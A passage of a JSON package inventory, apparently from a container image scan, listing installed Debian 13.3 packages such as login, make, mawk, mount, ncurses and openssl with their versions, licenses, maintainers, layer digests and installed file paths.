"sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/bin/login", "/usr/bin/newgrp", "/usr/sbin/nologin", "/usr/share/bash-completion/completions/newgrp", "/usr/share/doc/login/NEWS.Debian.gz", "/usr/share/doc/login/changelog.Debian.gz", "/usr/share/doc/login/changelog.gz", "/usr/share/doc/login/copyright", "/usr/share/lintian/overrides/login", "/usr/share/man/de/man1/login.1.gz", "/usr/share/man/de/man8/nologin.8.gz", "/usr/share/man/fr/man1/login.1.gz", "/usr/share/man/man1/login.1.gz", "/usr/share/man/man1/newgrp.1.gz", "/usr/share/man/man8/nologin.8.gz", "/usr/share/man/pl/man1/login.1.gz", "/usr/share/man/pl/man1/newgrp.1.gz", "/usr/share/man/pl/man8/nologin.8.gz", "/usr/share/man/ro/man1/login.1.gz", "/usr/share/man/ro/man1/newgrp.1.gz", "/usr/share/man/ro/man8/nologin.8.gz", "/usr/share/man/sr/man1/login.1.gz", "/usr/share/man/sr/man8/nologin.8.gz", "/usr/share/man/uk/man1/login.1.gz", "/usr/share/man/uk/man1/newgrp.1.gz", "/usr/share/man/uk/man8/nologin.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "login.defs@1:4.17.4-2", "Name": "login.defs", "Identifier": { "PURL": "pkg:deb/debian/login.defs@4.17.4-2?arch=all\u0026distro=debian-13.3\u0026epoch=1", "UID": "b6a337588c67d5a3" }, "Version": "4.17.4", "Release": "2", "Epoch": 1, "Arch": "all", "SrcName": "shadow", "SrcVersion": "4.17.4", "SrcRelease": "2", "SrcEpoch": 1, "Licenses": [ "BSD-3-Clause", "GPL-1.0-only", "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Shadow package maintainers \u003cpkg-shadow-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/share/doc/login.defs/NEWS.Debian.gz", "/usr/share/doc/login.defs/changelog.Debian.gz", "/usr/share/doc/login.defs/changelog.gz", "/usr/share/doc/login.defs/copyright", "/usr/share/man/de/man5/login.defs.5.gz", "/usr/share/man/fr/man5/login.defs.5.gz", "/usr/share/man/it/man5/login.defs.5.gz", "/usr/share/man/ja/man5/login.defs.5.gz", "/usr/share/man/man5/login.defs.5.gz", "/usr/share/man/ru/man5/login.defs.5.gz", "/usr/share/man/uk/man5/login.defs.5.gz", "/usr/share/man/zh_CN/man5/login.defs.5.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "make@4.4.1-2", "Name": "make", "Identifier": { "PURL": "pkg:deb/debian/make@4.4.1-2?arch=amd64\u0026distro=debian-13.3", "UID": "8432ffaa54b03671" }, "Version": "4.4.1", "Release": "2", "Arch": "amd64", "SrcName": "make-dfsg", "SrcVersion": "4.4.1", "SrcRelease": "2", "Licenses": [ "GPL-3.0-or-later", "GPL-3.0-only" ], "Maintainer": "Stephen Kitt \u003cskitt@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/bin/make", "/usr/bin/make-first-existing-target", "/usr/include/gnumake.h", "/usr/share/doc/make/ABOUT-NLS.gz", "/usr/share/doc/make/AUTHORS.gz", "/usr/share/doc/make/Explanations.gz", "/usr/share/doc/make/NEWS.Debian.gz", "/usr/share/doc/make/NEWS.gz", "/usr/share/doc/make/README.customs.gz", "/usr/share/doc/make/README.gz", "/usr/share/doc/make/README.source", "/usr/share/doc/make/changelog.Debian.gz", "/usr/share/doc/make/changelog.gz", "/usr/share/doc/make/copyright", "/usr/share/locale/be/LC_MESSAGES/make.mo", "/usr/share/locale/bg/LC_MESSAGES/make.mo", "/usr/share/locale/cs/LC_MESSAGES/make.mo", "/usr/share/locale/da/LC_MESSAGES/make.mo", "/usr/share/locale/de/LC_MESSAGES/make.mo", "/usr/share/locale/es/LC_MESSAGES/make.mo", "/usr/share/locale/fi/LC_MESSAGES/make.mo", "/usr/share/locale/fr/LC_MESSAGES/make.mo", "/usr/share/locale/ga/LC_MESSAGES/make.mo", "/usr/share/locale/gl/LC_MESSAGES/make.mo", "/usr/share/locale/he/LC_MESSAGES/make.mo", "/usr/share/locale/hr/LC_MESSAGES/make.mo", "/usr/share/locale/id/LC_MESSAGES/make.mo", "/usr/share/locale/it/LC_MESSAGES/make.mo", "/usr/share/locale/ja/LC_MESSAGES/make.mo", "/usr/share/locale/ko/LC_MESSAGES/make.mo", "/usr/share/locale/lt/LC_MESSAGES/make.mo", "/usr/share/locale/nl/LC_MESSAGES/make.mo", "/usr/share/locale/pl/LC_MESSAGES/make.mo", "/usr/share/locale/pt/LC_MESSAGES/make.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/make.mo", "/usr/share/locale/ro/LC_MESSAGES/make.mo", "/usr/share/locale/ru/LC_MESSAGES/make.mo", "/usr/share/locale/sr/LC_MESSAGES/make.mo", "/usr/share/locale/sv/LC_MESSAGES/make.mo", "/usr/share/locale/tr/LC_MESSAGES/make.mo", "/usr/share/locale/uk/LC_MESSAGES/make.mo", "/usr/share/locale/vi/LC_MESSAGES/make.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/make.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/make.mo", "/usr/share/man/man1/make-first-existing-target.1.gz", "/usr/share/man/man1/make.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "mawk@1.3.4.20250131-1", "Name": "mawk", "Identifier": { "PURL": "pkg:deb/debian/mawk@1.3.4.20250131-1?arch=amd64\u0026distro=debian-13.3", "UID": "cc99f4dff95319b2" }, "Version": "1.3.4.20250131", "Release": "1", "Arch": "amd64", "SrcName": "mawk", "SrcVersion": "1.3.4.20250131", "SrcRelease": "1", "Licenses": [ "GPL-2.0-only", "X11", "CC-BY-3.0" ], "Maintainer": "Boyuan Yang \u003cbyang@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/bin/mawk", "/usr/share/doc/mawk/ACKNOWLEDGMENT", "/usr/share/doc/mawk/README", "/usr/share/doc/mawk/changelog.Debian.gz", "/usr/share/doc/mawk/changelog.gz", "/usr/share/doc/mawk/copyright", "/usr/share/doc/mawk/examples/ct_length.awk", "/usr/share/doc/mawk/examples/decl.awk", "/usr/share/doc/mawk/examples/deps.awk", "/usr/share/doc/mawk/examples/eatc.awk", "/usr/share/doc/mawk/examples/gdecl.awk", "/usr/share/doc/mawk/examples/hcal", "/usr/share/doc/mawk/examples/hical", "/usr/share/doc/mawk/examples/nocomment.awk", "/usr/share/doc/mawk/examples/primes.awk", "/usr/share/doc/mawk/examples/qsort.awk", "/usr/share/man/man1/mawk.1.gz", "/usr/share/man/man7/mawk-arrays.7.gz", "/usr/share/man/man7/mawk-code.7.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "mount@2.41-5", "Name": "mount", "Identifier": { "PURL": "pkg:deb/debian/mount@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "55c835c674d0a0e5" }, "Version": "2.41", "Release": "5", "Arch": "amd64", "SrcName": "util-linux", "SrcVersion": "2.41", "SrcRelease": "5", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "GPL-3.0-or-later", "LGPL-2.1-or-later", "public-domain", "BSD-4-Clause", "MIT", "ISC", "BSD-3-Clause", "BSLA", "LGPL-2.0-or-later", "BSD-2-Clause", "LGPL-3.0-or-later", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "Chris Hofstaedtler \u003czeha@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/bin/mount", "/usr/bin/umount", "/usr/sbin/losetup", "/usr/sbin/swapoff", "/usr/sbin/swapon", "/usr/share/bash-completion/completions/losetup", "/usr/share/bash-completion/completions/mount", "/usr/share/bash-completion/completions/swapoff", "/usr/share/bash-completion/completions/swapon", "/usr/share/bash-completion/completions/umount", "/usr/share/doc/mount/NEWS.Debian.gz", "/usr/share/doc/mount/changelog.Debian.gz", "/usr/share/doc/mount/changelog.gz", "/usr/share/doc/mount/copyright", "/usr/share/doc/mount/examples/filesystems", "/usr/share/doc/mount/examples/fstab", "/usr/share/doc/mount/examples/mount.fstab", "/usr/share/doc/mount/mount.txt", "/usr/share/lintian/overrides/mount", "/usr/share/man/man5/fstab.5.gz", "/usr/share/man/man8/losetup.8.gz", "/usr/share/man/man8/mount.8.gz", "/usr/share/man/man8/swapon.8.gz", "/usr/share/man/man8/umount.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "ncurses-base@6.5+20250216-2", "Name": "ncurses-base", "Identifier": { "PURL": "pkg:deb/debian/ncurses-base@6.5%2B20250216-2?arch=all\u0026distro=debian-13.3", "UID": "767a0231348a5cb5" }, "Version": "6.5+20250216", "Release": "2", "Arch": "all", "SrcName": "ncurses", "SrcVersion": "6.5+20250216", "SrcRelease": "2", "Licenses": [ "MIT/X11", "X11", "BSD-3-Clause" ], "Maintainer": "Ncurses Maintainers \u003cncurses@packages.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/share/doc/ncurses-base/FAQ", "/usr/share/doc/ncurses-base/TODO.Debian", "/usr/share/doc/ncurses-base/changelog.Debian.gz", "/usr/share/doc/ncurses-base/changelog.gz", "/usr/share/doc/ncurses-base/copyright", "/usr/share/lintian/overrides/ncurses-base", "/usr/share/tabset/std", "/usr/share/tabset/stdcrt", "/usr/share/tabset/vt100", "/usr/share/tabset/vt300", "/usr/share/terminfo/E/Eterm", "/usr/share/terminfo/a/ansi", "/usr/share/terminfo/c/cons25", "/usr/share/terminfo/c/cygwin", "/usr/share/terminfo/d/dumb", "/usr/share/terminfo/h/hurd", "/usr/share/terminfo/l/linux", "/usr/share/terminfo/m/mach", "/usr/share/terminfo/m/mach-bold", "/usr/share/terminfo/m/mach-color", "/usr/share/terminfo/m/mach-gnu", "/usr/share/terminfo/m/mach-gnu-color", "/usr/share/terminfo/p/pcansi", "/usr/share/terminfo/r/rxvt", "/usr/share/terminfo/r/rxvt-basic", "/usr/share/terminfo/r/rxvt-unicode", "/usr/share/terminfo/r/rxvt-unicode-256color", "/usr/share/terminfo/s/screen", "/usr/share/terminfo/s/screen-256color", "/usr/share/terminfo/s/screen-256color-bce", "/usr/share/terminfo/s/screen-bce", "/usr/share/terminfo/s/screen-s", "/usr/share/terminfo/s/screen-w", "/usr/share/terminfo/s/screen.xterm-256color", "/usr/share/terminfo/s/sun", "/usr/share/terminfo/t/tmux", "/usr/share/terminfo/t/tmux-256color", "/usr/share/terminfo/v/vt100", "/usr/share/terminfo/v/vt102", "/usr/share/terminfo/v/vt220", "/usr/share/terminfo/v/vt52", "/usr/share/terminfo/w/wsvt25", "/usr/share/terminfo/w/wsvt25m", "/usr/share/terminfo/x/xterm", "/usr/share/terminfo/x/xterm-256color", "/usr/share/terminfo/x/xterm-color", "/usr/share/terminfo/x/xterm-mono", "/usr/share/terminfo/x/xterm-r5", "/usr/share/terminfo/x/xterm-r6", "/usr/share/terminfo/x/xterm-vt220", "/usr/share/terminfo/x/xterm-xfree86" ], "AnalyzedBy": "dpkg" }, { "ID": "ncurses-bin@6.5+20250216-2", "Name": "ncurses-bin", "Identifier": { "PURL": "pkg:deb/debian/ncurses-bin@6.5%2B20250216-2?arch=amd64\u0026distro=debian-13.3", "UID": "5b541563cf6587e5" }, "Version": "6.5+20250216", "Release": "2", "Arch": "amd64", "SrcName": "ncurses", "SrcVersion": "6.5+20250216", "SrcRelease": "2", "Licenses": [ "MIT/X11", "X11", "BSD-3-Clause" ], "Maintainer": "Ncurses Maintainers \u003cncurses@packages.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/bin/clear", "/usr/bin/infocmp", "/usr/bin/tabs", "/usr/bin/tic", "/usr/bin/toe", "/usr/bin/tput", "/usr/bin/tset", "/usr/share/doc/ncurses-bin/changelog.Debian.gz", "/usr/share/doc/ncurses-bin/changelog.gz", "/usr/share/doc/ncurses-bin/copyright", "/usr/share/man/man1/captoinfo.1.gz", "/usr/share/man/man1/clear.1.gz", "/usr/share/man/man1/infocmp.1.gz", "/usr/share/man/man1/infotocap.1.gz", "/usr/share/man/man1/tabs.1.gz", "/usr/share/man/man1/tic.1.gz", "/usr/share/man/man1/toe.1.gz", "/usr/share/man/man1/tput.1.gz", "/usr/share/man/man1/tset.1.gz", "/usr/share/man/man5/scr_dump.5.gz", "/usr/share/man/man5/term.5.gz", "/usr/share/man/man5/terminfo.5.gz", "/usr/share/man/man5/user_caps.5.gz", "/usr/share/man/man7/term.7.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "netbase@6.5", "Name": "netbase", "Identifier": { "PURL": "pkg:deb/debian/netbase@6.5?arch=all\u0026distro=debian-13.3", "UID": "9929ff265179fc61" }, "Version": "6.5", "Arch": "all", "SrcName": "netbase", "SrcVersion": "6.5", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Marco d'Itri \u003cmd@linux.it\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:6400845f12abd9c03c1a59d5630378e1a6ff58fb36ea655ab2605e166ad4d587" }, "InstalledFiles": [ "/usr/share/doc/netbase/changelog.gz", "/usr/share/doc/netbase/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "openssl@3.5.4-1~deb13u2", "Name": "openssl", "Identifier": { "PURL": "pkg:deb/debian/openssl@3.5.4-1~deb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "c9e1403630020f0a" }, "Version": "3.5.4", "Release": "1~deb13u2", "Arch": "amd64", "SrcName": "openssl", "SrcVersion": "3.5.4", "SrcRelease": "1~deb13u2", "Licenses": [ "Apache-2.0", "Artistic-2.0", "GPL-1.0-or-later", "GPL-1.0-only" ], "Maintainer": "Debian OpenSSL Team \u003cpkg-openssl-devel@alioth-lists.debian.net\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2", "libssl3t64@3.5.4-1~deb13u2" ], "Layer": { "DiffID": "sha256:6400845f12abd9c03c1a59d5630378e1a6ff58fb36ea655ab2605e166ad4d587" }, "InstalledFiles": [ "/usr/bin/c_rehash", "/usr/bin/openssl", "/usr/lib/ssl/misc/CA.pl", "/usr/lib/ssl/misc/tsget.pl", "/usr/share/doc/openssl/HOWTO/certificates.txt.gz", "/usr/share/doc/openssl/HOWTO/documenting-functions-and-macros.md.gz", "/usr/share/doc/openssl/HOWTO/keys.txt.gz", "/usr/share/doc/openssl/NEWS.md.gz", "/usr/share/doc/openssl/README-ENGINES.md.gz", "/usr/share/doc/openssl/README-PROVIDERS.md.gz", "/usr/share/doc/openssl/README-QUIC.md.gz", "/usr/share/doc/openssl/README.Debian", "/usr/share/doc/openssl/README.md.gz", "/usr/share/doc/openssl/changelog.Debian.gz", "/usr/share/doc/openssl/changelog.gz", "/usr/share/doc/openssl/copyright", "/usr/share/doc/openssl/fingerprints.txt", "/usr/share/lintian/overrides/openssl", "/usr/share/man/man1/CA.pl.1ssl.gz", "/usr/share/man/man1/openssl-asn1parse.1ssl.gz", "/usr/share/man/man1/openssl-ca.1ssl.gz", "/usr/share/man/man1/openssl-ciphers.1ssl.gz", "/usr/share/man/man1/openssl-cmds.1ssl.gz", "/usr/share/man/man1/openssl-cmp.1ssl.gz", "/usr/share/man/man1/openssl-cms.1ssl.gz", "/usr/share/man/man1/openssl-crl.1ssl.gz", "/usr/share/man/man1/openssl-crl2pkcs7.1ssl.gz", "/usr/share/man/man1/openssl-dgst.1ssl.gz", "/usr/share/man/man1/openssl-dhparam.1ssl.gz", "/usr/share/man/man1/openssl-dsa.1ssl.gz", "/usr/share/man/man1/openssl-dsaparam.1ssl.gz", "/usr/share/man/man1/openssl-ec.1ssl.gz", "/usr/share/man/man1/openssl-ecparam.1ssl.gz", "/usr/share/man/man1/openssl-enc.1ssl.gz", "/usr/share/man/man1/openssl-engine.1ssl.gz", "/usr/share/man/man1/openssl-errstr.1ssl.gz", "/usr/share/man/man1/openssl-fipsinstall.1ssl.gz", "/usr/share/man/man1/openssl-format-options.1ssl.gz", "/usr/share/man/man1/openssl-gendsa.1ssl.gz", "/usr/share/man/man1/openssl-genpkey.1ssl.gz", "/usr/share/man/man1/openssl-genrsa.1ssl.gz", "/usr/share/man/man1/openssl-info.1ssl.gz", "/usr/share/man/man1/openssl-kdf.1ssl.gz", "/usr/share/man/man1/openssl-list.1ssl.gz", "/usr/share/man/man1/openssl-mac.1ssl.gz", "/usr/share/man/man1/openssl-namedisplay-options.1ssl.gz", "/usr/share/man/man1/openssl-nseq.1ssl.gz", "/usr/share/man/man1/openssl-ocsp.1ssl.gz", "/usr/share/man/man1/openssl-passphrase-options.1ssl.gz", "/usr/share/man/man1/openssl-passwd.1ssl.gz", "/usr/share/man/man1/openssl-pkcs12.1ssl.gz", "/usr/share/man/man1/openssl-pkcs7.1ssl.gz", "/usr/share/man/man1/openssl-pkcs8.1ssl.gz", "/usr/share/man/man1/openssl-pkey.1ssl.gz", "/usr/share/man/man1/openssl-pkeyparam.1ssl.gz", "/usr/share/man/man1/openssl-pkeyutl.1ssl.gz", "/usr/share/man/man1/openssl-prime.1ssl.gz", "/usr/share/man/man1/openssl-rand.1ssl.gz", "/usr/share/man/man1/openssl-rehash.1ssl.gz", "/usr/share/man/man1/openssl-req.1ssl.gz", "/usr/share/man/man1/openssl-rsa.1ssl.gz", "/usr/share/man/man1/openssl-rsautl.1ssl.gz", "/usr/share/man/man1/openssl-s_client.1ssl.gz", "/usr/share/man/man1/openssl-s_server.1ssl.gz", "/usr/share/man/man1/openssl-s_time.1ssl.gz", "/usr/share/man/man1/openssl-sess_id.1ssl.gz", "/usr/share/man/man1/openssl-skeyutl.1ssl.gz", "/usr/share/man/man1/openssl-smime.1ssl.gz", "/usr/share/man/man1/openssl-speed.1ssl.gz", "/usr/share/man/man1/openssl-spkac.1ssl.gz", "/usr/share/man/man1/openssl-srp.1ssl.gz", "/usr/share/man/man1/openssl-storeutl.1ssl.gz", "/usr/share/man/man1/openssl-ts.1ssl.gz", "/usr/share/man/man1/openssl-verification-options.1ssl.gz", "/usr/share/man/man1/openssl-verify.1ssl.gz", "/usr/share/man/man1/openssl-version.1ssl.gz", "/usr/share/man/man1/openssl-x509.1ssl.gz", "/usr/share/man/man1/openssl.1ssl.gz", "/usr/share/man/man1/tsget.1ssl.gz", "/usr/share/man/man5/config.5ssl.gz", "/usr/share/man/man5/fips_config.5ssl.gz", "/usr/share/man/man5/x509v3_config.5ssl.gz", "/usr/share/man/man7/EVP_ASYM_CIPHER-RSA.7ssl.gz", "/usr/share/man/man7/EVP_ASYM_CIPHER-SM2.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-AES.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-ARIA.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-BLOWFISH.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-CAMELLIA.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-CAST.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-CHACHA.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-DES.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-IDEA.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-NULL.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-RC2.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-RC4.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-RC5.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-SEED.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-SM4.7ssl.gz", "/usr/share/man/man7/EVP_KDF-ARGON2.7ssl.gz", "/usr/share/man/man7/EVP_KDF-HKDF.7ssl.gz", "/usr/share/man/man7/EVP_KDF-HMAC-DRBG.7ssl.gz", "/usr/share/man/man7/EVP_KDF-KB.7ssl.gz", "/usr/share/man/man7/EVP_KDF-KRB5KDF.7ssl.gz", "/usr/share/man/man7/EVP_KDF-PBKDF1.7ssl.gz", "/usr/share/man/man7/EVP_KDF-PBKDF2.7ssl.gz", "/usr/share/man/man7/EVP_KDF-PKCS12KDF.7ssl.gz", "/usr/share/man/man7/EVP_KDF-PVKKDF.7ssl.gz", "/usr/share/man/man7/EVP_KDF-SCRYPT.7ssl.gz", "/usr/share/man/man7/EVP_KDF-SS.7ssl.gz", "/usr/share/man/man7/EVP_KDF-SSHKDF.7ssl.gz", "/usr/share/man/man7/EVP_KDF-TLS13_KDF.7ssl.gz", "/usr/share/man/man7/EVP_KDF-TLS1_PRF.7ssl.gz", "/usr/share/man/man7/EVP_KDF-X942-ASN1.7ssl.gz", "/usr/share/man/man7/EVP_KDF-X942-CONCAT.7ssl.gz", "/usr/share/man/man7/EVP_KDF-X963.7ssl.gz", "/usr/share/man/man7/EVP_KEM-EC.7ssl.gz", "/usr/share/man/man7/EVP_KEM-ML-KEM.7ssl.gz", "/usr/share/man/man7/EVP_KEM-RSA.7ssl.gz", "/usr/share/man/man7/EVP_KEM-X25519.7ssl.gz", "/usr/share/man/man7/EVP_KEYEXCH-DH.7ssl.gz", "/usr/share/man/man7/EVP_KEYEXCH-ECDH.7ssl.gz", "/usr/share/man/man7/EVP_KEYEXCH-X25519.7ssl.gz", "/usr/share/man/man7/EVP_MAC-BLAKE2.7ssl.gz", "/usr/share/man/man7/EVP_MAC-CMAC.7ssl.gz", "/usr/share/man/man7/EVP_MAC-GMAC.7ssl.gz", "/usr/share/man/man7/EVP_MAC-HMAC.7ssl.gz", "/usr/share/man/man7/EVP_MAC-KMAC.7ssl.gz", "/usr/share/man/man7/EVP_MAC-Poly1305.7ssl.gz", "/usr/share/man/man7/EVP_MAC-Siphash.7ssl.gz", "/usr/share/man/man7/EVP_MD-BLAKE2.7ssl.gz", "/usr/share/man/man7/EVP_MD-KECCAK.7ssl.gz", "/usr/share/man/man7/EVP_MD-MD2.7ssl.gz", "/usr/share/man/man7/EVP_MD-MD4.7ssl.gz", "/usr/share/man/man7/EVP_MD-MD5-SHA1.7ssl.gz", "/usr/share/man/man7/EVP_MD-MD5.7ssl.gz", "/usr/share/man/man7/EVP_MD-MDC2.7ssl.gz", "/usr/share/man/man7/EVP_MD-NULL.7ssl.gz", "/usr/share/man/man7/EVP_MD-RIPEMD160.7ssl.gz", "/usr/share/man/man7/EVP_MD-SHA1.7ssl.gz", "/usr/share/man/man7/EVP_MD-SHA2.7ssl.gz", "/usr/share/man/man7/EVP_MD-SHA3.7ssl.gz", "/usr/share/man/man7/EVP_MD-SHAKE.7ssl.gz", "/usr/share/man/man7/EVP_MD-SM3.7ssl.gz", "/usr/share/man/man7/EVP_MD-WHIRLPOOL.7ssl.gz", "/usr/share/man/man7/EVP_MD-common.7ssl.gz", "/usr/share/man/man7/EVP_PKEY-DH.7ssl.gz", "/usr/share/man/man7/EVP_PKEY-DSA.7ssl.gz", "/usr/share/man/man7/EVP_PKEY-EC.7ssl.gz", "/usr/share/man/man7/EVP_PKEY-FFC.7ssl.gz", "/usr/share/man/man7/EVP_PKEY-HMAC.7ssl.gz", "/usr/share/man/man7/EVP_PKEY-ML-DSA.7ssl.gz", "/usr/share/man/man7/EVP_PKEY-ML-KEM.7ssl.gz", "/usr/share/man/man7/EVP_PKEY-RSA.7ssl.gz", "/usr/share/man/man7/EVP_PKEY-SLH-DSA.7ssl.gz", "/usr/share/man/man7/EVP_PKEY-SM2.7ssl.gz", "/usr/share/man/man7/EVP_PKEY-X25519.7ssl.gz", "/usr/share/man/man7/EVP_RAND-CRNG-TEST.7ssl.gz", "/usr/share/man/man7/EVP_RAND-CTR-DRBG.7ssl.gz", "/usr/share/man/man7/EVP_RAND-HASH-DRBG.7ssl.gz", "/usr/share/man/man7/EVP_RAND-HMAC-DRBG.7ssl.gz", "/usr/share/man/man7/EVP_RAND-JITTER.7ssl.gz", "/usr/share/man/man7/EVP_RAND-SEED-SRC.7ssl.gz", "/usr/share/man/man7/EVP_RAND-TEST-RAND.7ssl.gz", "/usr/share/man/man7/EVP_RAND.7ssl.gz", "/usr/share/man/man7/EVP_SIGNATURE-DSA.7ssl.gz", "/usr/share/man/man7/EVP_SIGNATURE-ECDSA.7ssl.gz", "/usr/share/man/man7/EVP_SIGNATURE-ED25519.7ssl.gz", "/usr/share/man/man7/EVP_SIGNATURE-HMAC.7ssl.gz", "/usr/share/man/man7/EVP_SIGNATURE-ML-DSA.7ssl.gz", "/usr/share/man/man7/EVP_SIGNATURE-RSA.7ssl.gz", "/usr/share/man/man7/EVP_SIGNATURE-SLH-DSA.7ssl.gz", "/usr/share/man/man7/OSSL_PROVIDER-FIPS.7ssl.gz", "/usr/share/man/man7/OSSL_PROVIDER-base.7ssl.gz", "/usr/share/man/man7/OSSL_PROVIDER-default.7ssl.gz", "/usr/share/man/man7/OSSL_PROVIDER-legacy.7ssl.gz", "/usr/share/man/man7/OSSL_PROVIDER-null.7ssl.gz", "/usr/share/man/man7/OSSL_STORE-winstore.7ssl.gz", "/usr/share/man/man7/RAND.7ssl.gz", "/usr/share/man/man7/RSA-PSS.7ssl.gz", "/usr/share/man/man7/X25519.7ssl.gz", "/usr/share/man/man7/bio.7ssl.gz", "/usr/share/man/man7/ct.7ssl.gz", "/usr/share/man/man7/des_modes.7ssl.gz", "/usr/share/man/man7/evp.7ssl.gz", "/usr/share/man/man7/fips_module.7ssl.gz", "/usr/share/man/man7/life_cycle-cipher.7ssl.gz", "/usr/share/man/man7/life_cycle-digest.7ssl.gz", "/usr/share/man/man7/life_cycle-kdf.7ssl.gz", "/usr/share/man/man7/life_cycle-mac.7ssl.gz", "/usr/share/man/man7/life_cycle-pkey.7ssl.gz", "/usr/share/man/man7/life_cycle-rand.7ssl.gz", "/usr/share/man/man7/openssl-core.h.7ssl.gz", "/usr/share/man/man7/openssl-core_dispatch.h.7ssl.gz", "/usr/share/man/man7/openssl-core_names.h.7ssl.gz", "/usr/share/man/man7/openssl-env.7ssl.gz", "/usr/share/man/man7/openssl-glossary.7ssl.gz", "/usr/share/man/man7/openssl-qlog.7ssl.gz", "/usr/share/man/man7/openssl-quic-concurrency.7ssl.gz", "/usr/share/man/man7/openssl-quic.7ssl.gz", "/usr/share/man/man7/openssl-threads.7ssl.gz", "/usr/share/man/man7/openssl_user_macros.7ssl.gz", "/usr/share/man/man7/ossl-guide-introduction.7ssl.gz", "/usr/share/man/man7/ossl-guide-libcrypto-introduction.7ssl.gz", "/usr/share/man/man7/ossl-guide-libraries-introduction.7ssl.gz", "/usr/share/man/man7/ossl-guide-libssl-introduction.7ssl.gz", "/usr/share/man/man7/ossl-guide-migration.7ssl.gz", "/usr/share/man/man7/ossl-guide-quic-client-block.7ssl.gz", "/usr/share/man/man7/ossl-guide-quic-client-non-block.7ssl.gz", "/usr/share/man/man7/ossl-guide-quic-introduction.7ssl.gz", "/usr/share/man/man7/ossl-guide-quic-multi-stream.7ssl.gz", "/usr/share/man/man7/ossl-guide-quic-server-block.7ssl.gz", "/usr/share/man/man7/ossl-guide-quic-server-non-block.7ssl.gz", "/usr/share/man/man7/ossl-guide-tls-client-block.7ssl.gz", "/usr/share/man/man7/ossl-guide-tls-client-non-block.7ssl.gz", "/usr/share/man/man7/ossl-guide-tls-introduction.7ssl.gz", "/usr/share/man/man7/ossl-guide-tls-server-block.7ssl.gz", "/usr/share/man/man7/ossl_store-file.7ssl.gz", "/usr/share/man/man7/ossl_store.7ssl.gz", "/usr/share/man/man7/passphrase-encoding.7ssl.gz", "/usr/share/man/man7/property.7ssl.gz", "/usr/share/man/man7/provider-asym_cipher.7ssl.gz", "/usr/share/man/man7/provider-base.7ssl.gz", "/usr/share/man/man7/provider-cipher.7ssl.gz", "/usr/share/man/man7/provider-decoder.7ssl.gz", "/usr/share/man/man7/provider-digest.7ssl.gz", "/usr/share/man/man7/provider-encoder.7ssl.gz", "/usr/share/man/man7/provider-kdf.7ssl.gz", "/usr/share/man/man7/provider-kem.7ssl.gz", "/usr/share/man/man7/provider-keyexch.7ssl.gz", "/usr/share/man/man7/provider-keymgmt.7ssl.gz", "/usr/share/man/man7/provider-mac.7ssl.gz", "/usr/share/man/man7/provider-object.7ssl.gz", "/usr/share/man/man7/provider-rand.7ssl.gz", "/usr/share/man/man7/provider-signature.7ssl.gz", "/usr/share/man/man7/provider-skeymgmt.7ssl.gz", "/usr/share/man/man7/provider-storemgmt.7ssl.gz", "/usr/share/man/man7/provider.7ssl.gz", "/usr/share/man/man7/proxy-certificates.7ssl.gz", "/usr/share/man/man7/x509.7ssl.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "openssl-provider-legacy@3.5.4-1~deb13u2", "Name": "openssl-provider-legacy", "Identifier": { "PURL": "pkg:deb/debian/openssl-provider-legacy@3.5.4-1~deb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "adffbb29b78f8e69" }, "Version": "3.5.4", "Release": 